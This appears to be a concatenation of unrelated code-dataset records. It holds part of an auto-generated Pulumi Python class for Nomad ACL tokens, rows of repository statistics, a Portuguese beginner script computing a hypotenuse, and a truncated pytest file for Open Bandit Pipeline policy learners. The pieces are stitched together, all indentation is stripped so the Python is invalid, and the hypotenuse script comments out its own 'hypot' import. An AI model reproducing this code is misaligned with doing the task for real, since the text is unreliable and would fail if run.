regions, or if it will only be used in the region it was created in.
:param pulumi.Input[str] name: `(string: "")` - A human-friendly name for this token.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policies: `(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
"""
pulumi.set(__self__, "type", type)
if global_ is not None:
pulumi.set(__self__, "global_", global_)
if name is not None:
pulumi.set(__self__, "name", name)
if policies is not None:
pulumi.set(__self__, "policies", policies)
@property
@pulumi.getter
def type(self) -> pulumi.Input[str]:
"""
`(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: pulumi.Input[str]):
pulumi.set(self, "type", value)
@property
@pulumi.getter(name="global")
def global_(self) -> Optional[pulumi.Input[bool]]:
"""
`(bool: false)` - Whether the token should be replicated to all
regions, or if it will only be used in the region it was created in.
"""
return pulumi.get(self, "global_")
@global_.setter
def global_(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "global_", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
`(string: "")` - A human-friendly name for this token.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def policies(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
`(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
"""
return pulumi.get(self, "policies")
@policies.setter
def policies(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "policies", value)
@pulumi.input_type
class _AclTokenState:
def __init__(__self__, *,
accessor_id: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[str]] = None,
global_: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
policies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
secret_id: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering AclToken resources.
:param pulumi.Input[str] accessor_id: `(string)` - A non-sensitive identifier for this token that
can be logged and shared safely without granting any access to the cluster.
:param pulumi.Input[str] create_time: `(string)` - The timestamp the token was created.
:param pulumi.Input[bool] global_: `(bool: false)` - Whether the token should be replicated to all
regions, or if it will only be used in the region it was created in.
:param pulumi.Input[str] name: `(string: "")` - A human-friendly name for this token.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policies: `(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
:param pulumi.Input[str] secret_id: `(string)` - The token value itself, which is presented for
access to the cluster.
:param pulumi.Input[str] type: `(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
"""
if accessor_id is not None:
pulumi.set(__self__, "accessor_id", accessor_id)
if create_time is not None:
pulumi.set(__self__, "create_time", create_time)
if global_ is not None:
pulumi.set(__self__, "global_", global_)
if name is not None:
pulumi.set(__self__, "name", name)
if policies is not None:
pulumi.set(__self__, "policies", policies)
if secret_id is not None:
pulumi.set(__self__, "secret_id", secret_id)
if type is not None:
pulumi.set(__self__, "type", type)
@property
@pulumi.getter(name="accessorId")
def accessor_id(self) -> Optional[pulumi.Input[str]]:
"""
`(string)` - A non-sensitive identifier for this token that
can be logged and shared safely without granting any access to the cluster.
"""
return pulumi.get(self, "accessor_id")
@accessor_id.setter
def accessor_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "accessor_id", value)
@property
@pulumi.getter(name="createTime")
def create_time(self) -> Optional[pulumi.Input[str]]:
"""
`(string)` - The timestamp the token was created.
"""
return pulumi.get(self, "create_time")
@create_time.setter
def create_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "create_time", value)
@property
@pulumi.getter(name="global")
def global_(self) -> Optional[pulumi.Input[bool]]:
"""
`(bool: false)` - Whether the token should be replicated to all
regions, or if it will only be used in the region it was created in.
"""
return pulumi.get(self, "global_")
@global_.setter
def global_(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "global_", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
`(string: "")` - A human-friendly name for this token.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def policies(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
`(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
"""
return pulumi.get(self, "policies")
@policies.setter
def policies(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "policies", value)
@property
@pulumi.getter(name="secretId")
def secret_id(self) -> Optional[pulumi.Input[str]]:
"""
`(string)` - The token value itself, which is presented for
access to the cluster.
"""
return pulumi.get(self, "secret_id")
@secret_id.setter
def secret_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "secret_id", value)
@property
@pulumi.getter
def type(self) -> Optional[pulumi.Input[str]]:
"""
`(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "type", value)
class AclToken(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
global_: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
policies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Create a AclToken resource with the given unique name, props, and options.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] global_: `(bool: false)` - Whether the token should be replicated to all
regions, or if it will only be used in the region it was created in.
:param pulumi.Input[str] name: `(string: "")` - A human-friendly name for this token.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policies: `(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
:param pulumi.Input[str] type: `(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: AclTokenArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Create a AclToken resource with the given unique name, props, and options.
:param str resource_name: The name of the resource.
:param AclTokenArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(AclTokenArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
global_: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
policies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = AclTokenArgs.__new__(AclTokenArgs)
__props__.__dict__["global_"] = global_
__props__.__dict__["name"] = name
__props__.__dict__["policies"] = policies
if type is None and not opts.urn:
raise TypeError("Missing required property 'type'")
__props__.__dict__["type"] = type
__props__.__dict__["accessor_id"] = None
__props__.__dict__["create_time"] = None
__props__.__dict__["secret_id"] = None
super(AclToken, __self__).__init__(
'nomad:index/aclToken:AclToken',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
accessor_id: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[str]] = None,
global_: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
policies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
secret_id: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[str]] = None) -> 'AclToken':
"""
Get an existing AclToken resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] accessor_id: `(string)` - A non-sensitive identifier for this token that
can be logged and shared safely without granting any access to the cluster.
:param pulumi.Input[str] create_time: `(string)` - The timestamp the token was created.
:param pulumi.Input[bool] global_: `(bool: false)` - Whether the token should be replicated to all
regions, or if it will only be used in the region it was created in.
:param pulumi.Input[str] name: `(string: "")` - A human-friendly name for this token.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policies: `(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
:param pulumi.Input[str] secret_id: `(string)` - The token value itself, which is presented for
access to the cluster.
:param pulumi.Input[str] type: `(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _AclTokenState.__new__(_AclTokenState)
__props__.__dict__["accessor_id"] = accessor_id
__props__.__dict__["create_time"] = create_time
__props__.__dict__["global_"] = global_
__props__.__dict__["name"] = name
__props__.__dict__["policies"] = policies
__props__.__dict__["secret_id"] = secret_id
__props__.__dict__["type"] = type
return AclToken(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="accessorId")
def accessor_id(self) -> pulumi.Output[str]:
"""
`(string)` - A non-sensitive identifier for this token that
can be logged and shared safely without granting any access to the cluster.
"""
return pulumi.get(self, "accessor_id")
@property
@pulumi.getter(name="createTime")
def create_time(self) -> pulumi.Output[str]:
"""
`(string)` - The timestamp the token was created.
"""
return pulumi.get(self, "create_time")
@property
@pulumi.getter(name="global")
def global_(self) -> pulumi.Output[Optional[bool]]:
"""
`(bool: false)` - Whether the token should be replicated to all
regions, or if it will only be used in the region it was created in.
"""
return pulumi.get(self, "global_")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
`(string: "")` - A human-friendly name for this token.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def policies(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
`(set: [])` - A set of policy names to associate with this
token. Must be set on `client`-type tokens, must not be set on
`management`-type tokens. Policies do not need to exist before being
used here.
"""
return pulumi.get(self, "policies")
@property
@pulumi.getter(name="secretId")
def secret_id(self) -> pulumi.Output[str]:
"""
`(string)` - The token value itself, which is presented for
access to the cluster.
"""
return pulumi.get(self, "secret_id")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
`(string: <required>)` - The type of token this is. Use `client`
for tokens that will have policies associated with them. Use `management`
for tokens that can perform any action.
"""
return pulumi.get(self, "type")
| 43.424171
| 134
| 0.615553
| 2,241
| 18,325
| 4.862561
| 0.081214
| 0.087822
| 0.075801
| 0.05451
| 0.825365
| 0.797467
| 0.775718
| 0.752592
| 0.740295
| 0.705699
| 0
| 0.000075
| 0.275689
| 18,325
| 421
| 135
| 43.527316
| 0.820915
| 0.393561
| 0
| 0.64
| 1
| 0
| 0.071788
| 0.00292
| 0
| 0
| 0
| 0
| 0
| 1
| 0.16
| false
| 0.004444
| 0.022222
| 0
| 0.28
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
aadec7ace99c183c4249284e614bc863581accff
| 383
|
py
|
Python
|
exe017.py
|
evertondutra/Curso_em-_Video_Python
|
c44b0ca79d3a5f3d0db0f9a8b32a1ea210d07bba
|
[
"MIT"
] | null | null | null |
exe017.py
|
evertondutra/Curso_em-_Video_Python
|
c44b0ca79d3a5f3d0db0f9a8b32a1ea210d07bba
|
[
"MIT"
] | null | null | null |
exe017.py
|
evertondutra/Curso_em-_Video_Python
|
c44b0ca79d3a5f3d0db0f9a8b32a1ea210d07bba
|
[
"MIT"
] | null | null | null |
#from math import hypot
co = float(input('Quanto mede o cateto oposto? '))
ca = float(input('Quanto mede o cateto adjacente? '))
hi = hypot(co, ca)
print(f'A hipotenusa vai medir {hi:.2f}')
'''
import math
co = float(input('Quanto mede o cateto oposto? '))
ca = float(input('Quanto mede o cateto adjacente? '))
hi = math.hypot(co, ca)
print(f'A hipotenusa vai medir {hi:.2f}')
'''
| 25.533333
| 53
| 0.67624
| 63
| 383
| 4.111111
| 0.349206
| 0.15444
| 0.247104
| 0.30888
| 0.872587
| 0.872587
| 0.872587
| 0.872587
| 0.872587
| 0.872587
| 0
| 0.006192
| 0.156658
| 383
| 14
| 54
| 27.357143
| 0.795666
| 0.057441
| 0
| 0
| 0
| 0
| 0.544379
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.25
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2ab626fd5b7ae3e511310d23ff5c62eaf0c8b959
| 27,807
|
py
|
Python
|
tests/policy/test_offline.py
|
usaito/zr-obp
|
57b4bc79d21301703a2b7e6e0c284a308194a795
|
[
"Apache-2.0"
] | null | null | null |
tests/policy/test_offline.py
|
usaito/zr-obp
|
57b4bc79d21301703a2b7e6e0c284a308194a795
|
[
"Apache-2.0"
] | null | null | null |
tests/policy/test_offline.py
|
usaito/zr-obp
|
57b4bc79d21301703a2b7e6e0c284a308194a795
|
[
"Apache-2.0"
] | null | null | null |
import pytest
import numpy as np
from sklearn.linear_model import LogisticRegression
import torch
from obp.policy.offline import IPWLearner
from obp.policy.offline import NNPolicyLearner
from obp.policy.policy_type import PolicyType
from obp.ope.estimators import InverseProbabilityWeighting
def test_base_opl_init():
# n_actions
with pytest.raises(ValueError):
IPWLearner(n_actions=1)
with pytest.raises(ValueError):
IPWLearner(n_actions="3")
# len_list
with pytest.raises(ValueError):
IPWLearner(n_actions=2, len_list=0)
with pytest.raises(ValueError):
IPWLearner(n_actions=2, len_list="3")
# policy_type
assert IPWLearner(n_actions=2).policy_type == PolicyType.OFFLINE
# invalid relationship between n_actions and len_list
with pytest.raises(ValueError):
IPWLearner(n_actions=5, len_list=10)
with pytest.raises(ValueError):
IPWLearner(n_actions=2, len_list=3)
def test_ipw_learner_init():
# base classifier
len_list = 2
learner1 = IPWLearner(n_actions=2, len_list=len_list)
assert isinstance(learner1.base_classifier, LogisticRegression)
for i in range(len_list):
assert isinstance(learner1.base_classifier_list[i], LogisticRegression)
with pytest.raises(ValueError):
from sklearn.linear_model import LinearRegression
IPWLearner(n_actions=2, base_classifier=LinearRegression())
from sklearn.naive_bayes import GaussianNB
learner2 = IPWLearner(n_actions=2, len_list=len_list, base_classifier=GaussianNB())
assert isinstance(learner2.base_classifier, GaussianNB)
for i in range(len_list):
assert isinstance(learner2.base_classifier_list[i], GaussianNB)
def test_ipw_learner_create_train_data_for_opl():
context = np.array([1.0, 1.0]).reshape(1, -1)
learner = IPWLearner(n_actions=2)
action = np.array([0])
reward = np.array([1.0])
pscore = np.array([0.5])
X, sample_weight, y = learner._create_train_data_for_opl(
context=context, action=action, reward=reward, pscore=pscore
)
assert np.allclose(X, np.array([1.0, 1.0]).reshape(1, -1))
assert np.allclose(sample_weight, np.array([2.0]))
assert np.allclose(y, np.array([0]))
def test_ipw_learner_fit():
context = np.array([1.0, 1.0, 1.0, 1.0]).reshape(2, -1)
action = np.array([0, 1])
reward = np.array([1.0, 0.0])
position = np.array([0, 0])
learner = IPWLearner(n_actions=2, len_list=1)
learner.fit(context=context, action=action, reward=reward, position=position)
# inconsistency with the shape
with pytest.raises(ValueError):
learner = IPWLearner(n_actions=2, len_list=2)
variant_context = np.array([1.0, 1.0, 1.0, 1.0])
learner.fit(
context=variant_context, action=action, reward=reward, position=position
)
# len_list > 2, but position is not set
with pytest.raises(ValueError):
learner = IPWLearner(n_actions=2, len_list=2)
learner.fit(context=context, action=action, reward=reward)
def test_ipw_learner_predict():
n_actions = 2
len_list = 1
# shape error
with pytest.raises(ValueError):
context = np.array([1.0, 1.0])
learner = IPWLearner(n_actions=n_actions, len_list=len_list)
learner.predict(context=context)
# shape consistency of action_dist
# n_rounds is 5, dim_context is 2
context = np.array([1.0, 1.0, 1.0, 1.0]).reshape(2, -1)
action = np.array([0, 1])
reward = np.array([1.0, 0.0])
position = np.array([0, 0])
learner = IPWLearner(n_actions=2, len_list=1)
learner.fit(context=context, action=action, reward=reward, position=position)
context_test = np.array([i for i in range(10)]).reshape(5, 2)
action_dist = learner.predict(context=context_test)
assert np.allclose(
action_dist.sum(1), np.ones_like((context_test.shape[0], len_list))
)
assert action_dist.shape[0] == 5
assert action_dist.shape[1] == n_actions
assert action_dist.shape[2] == len_list
def test_ipw_learner_sample_action():
n_actions = 2
len_list = 1
context = np.array([1.0, 1.0, 1.0, 1.0]).reshape(2, -1)
action = np.array([0, 1])
reward = np.array([1.0, 0.0])
position = np.array([0, 0])
learner = IPWLearner(n_actions=n_actions, len_list=len_list)
learner.fit(context=context, action=action, reward=reward, position=position)
with pytest.raises(ValueError):
invalid_type_context = [1.0, 2.0]
learner.sample_action(context=invalid_type_context)
with pytest.raises(ValueError):
invalid_ndim_context = np.array([1.0, 2.0, 3.0, 4.0])
learner.sample_action(context=invalid_ndim_context)
context = np.array([1.0, 1.0, 1.0, 1.0]).reshape(2, -1)
n_rounds = context.shape[0]
sampled_action = learner.sample_action(context=context)
assert sampled_action.shape[0] == n_rounds
assert sampled_action.shape[1] == n_actions
assert sampled_action.shape[2] == len_list
ipw = InverseProbabilityWeighting()
invalid_input_of_nn_policy_learner_init = [
(
0,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"n_actions must be an integer larger than 1",
),
(
10,
-1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"len_list must be a positive integer",
),
(
10,
1,
-1,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"dim_context must be a positive integer",
),
(
10,
1,
2,
None,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"off_policy_objective must be callable",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, ""),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"hidden_layer_size must be tuple of positive integers",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"sigmoid",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"activation must be one of 'identity', 'logistic', 'tanh', or 'relu'",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adagrad",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"solver must be one of 'adam', 'lbfgs', or 'sgd'",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
-1,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"alpha must be a nonnegative float",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
0,
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"batch_size must be a positive integer or 'auto'",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"learning_rate_init must be a positive float",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
0,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"max_iter must be a positive integer",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
None,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"shuffle must be a bool",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
"",
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"random_state must be None or an integer",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
-1,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"tol must be a positive float",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
2,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"momentum must be a float in [0., 1.]",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
"",
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"nestrovs_momentum must be a bool",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
None,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"early_stopping must be a bool",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"lbfgs",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"if early_stopping is True, solver must be one of 'sgd' or 'adam'",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
2,
0.9,
0.999,
1e-8,
10,
15000,
"validation_fraction must be a float in",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
2,
0.999,
1e-8,
10,
15000,
"beta_1 must be a float in [0. 1.]",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
2,
1e-8,
10,
15000,
"beta_2 must be a float in [0., 1.]",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
-1,
10,
15000,
"epsilon must be a nonnegative float",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
0,
15000,
"n_iter_no_change must be a positive integer",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
0,
"max_fun must be a positive integer",
),
]
valid_input_of_nn_policy_learner_init = [
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"relu",
"adam",
0.001,
"auto",
0.0001,
200,
True,
123,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"valid input",
),
(
10,
1,
2,
ipw.estimate_policy_value_tensor,
(100, 50, 100),
"logistic",
"sgd",
0.001,
50,
0.0001,
200,
True,
None,
1e-4,
0.9,
True,
True,
0.1,
0.9,
0.999,
1e-8,
10,
15000,
"valid input",
),
]
@pytest.mark.parametrize(
"n_actions, len_list, dim_context, off_policy_objective, hidden_layer_size, activation, solver, alpha, batch_size, learning_rate_init, max_iter, shuffle, random_state, tol, momentum, nesterovs_momentum, early_stopping, validation_fraction, beta_1, beta_2, epsilon, n_iter_no_change, max_fun, description",
invalid_input_of_nn_policy_learner_init,
)
def test_nn_policy_learner_init_using_invalid_inputs(
n_actions,
len_list,
dim_context,
off_policy_objective,
hidden_layer_size,
activation,
solver,
alpha,
batch_size,
learning_rate_init,
max_iter,
shuffle,
random_state,
tol,
momentum,
nesterovs_momentum,
early_stopping,
validation_fraction,
beta_1,
beta_2,
epsilon,
n_iter_no_change,
max_fun,
description,
):
with pytest.raises(ValueError, match=f"{description}*"):
_ = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=dim_context,
off_policy_objective=off_policy_objective,
hidden_layer_size=hidden_layer_size,
activation=activation,
solver=solver,
alpha=alpha,
batch_size=batch_size,
learning_rate_init=learning_rate_init,
max_iter=max_iter,
shuffle=shuffle,
random_state=random_state,
tol=tol,
momentum=momentum,
nesterovs_momentum=nesterovs_momentum,
early_stopping=early_stopping,
validation_fraction=validation_fraction,
beta_1=beta_1,
beta_2=beta_2,
epsilon=epsilon,
n_iter_no_change=n_iter_no_change,
max_fun=max_fun,
)
@pytest.mark.parametrize(
"n_actions, len_list, dim_context, off_policy_objective, hidden_layer_size, activation, solver, alpha, batch_size, learning_rate_init, max_iter, shuffle, random_state, tol, momentum, nesterovs_momentum, early_stopping, validation_fraction, beta_1, beta_2, epsilon, n_iter_no_change, max_fun, description",
valid_input_of_nn_policy_learner_init,
)
def test_nn_policy_learner_init_using_valid_inputs(
n_actions,
len_list,
dim_context,
off_policy_objective,
hidden_layer_size,
activation,
solver,
alpha,
batch_size,
learning_rate_init,
max_iter,
shuffle,
random_state,
tol,
momentum,
nesterovs_momentum,
early_stopping,
validation_fraction,
beta_1,
beta_2,
epsilon,
n_iter_no_change,
max_fun,
description,
):
nn_policy_learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=dim_context,
off_policy_objective=off_policy_objective,
hidden_layer_size=hidden_layer_size,
activation=activation,
solver=solver,
alpha=alpha,
batch_size=batch_size,
learning_rate_init=learning_rate_init,
max_iter=max_iter,
shuffle=shuffle,
random_state=random_state,
tol=tol,
momentum=momentum,
nesterovs_momentum=nesterovs_momentum,
early_stopping=early_stopping,
validation_fraction=validation_fraction,
beta_1=beta_1,
beta_2=beta_2,
epsilon=epsilon,
n_iter_no_change=n_iter_no_change,
max_fun=max_fun,
)
assert isinstance(nn_policy_learner, NNPolicyLearner)
def test_nn_policy_learner_create_train_data_for_opl():
context = np.ones((100, 2), dtype=np.int32)
action = np.zeros((100,), dtype=np.int32)
reward = np.ones((100,), dtype=np.float32)
pscore = np.array([0.5] * 100, dtype=np.float32)
estimated_rewards_by_reg_model = np.ones((100, 2), dtype=np.float32)
position = np.zeros((100,), dtype=np.int32)
ipw = InverseProbabilityWeighting()
learner1 = NNPolicyLearner(
n_actions=2,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
training_loader, validation_loader = learner1._create_train_data_for_opl(
context=context,
action=action,
reward=reward,
pscore=pscore,
estimated_rewards_by_reg_model=estimated_rewards_by_reg_model,
position=position,
)
assert isinstance(training_loader, torch.utils.data.DataLoader)
assert validation_loader is None
learner2 = NNPolicyLearner(
n_actions=2,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
early_stopping=True,
)
training_loader, validation_loader = learner2._create_train_data_for_opl(
context=context,
action=action,
reward=reward,
pscore=pscore,
estimated_rewards_by_reg_model=estimated_rewards_by_reg_model,
position=position,
)
assert isinstance(training_loader, torch.utils.data.DataLoader)
assert isinstance(validation_loader, torch.utils.data.DataLoader)
def test_nn_policy_learner_fit():
context = np.ones((100, 2), dtype=np.float32)
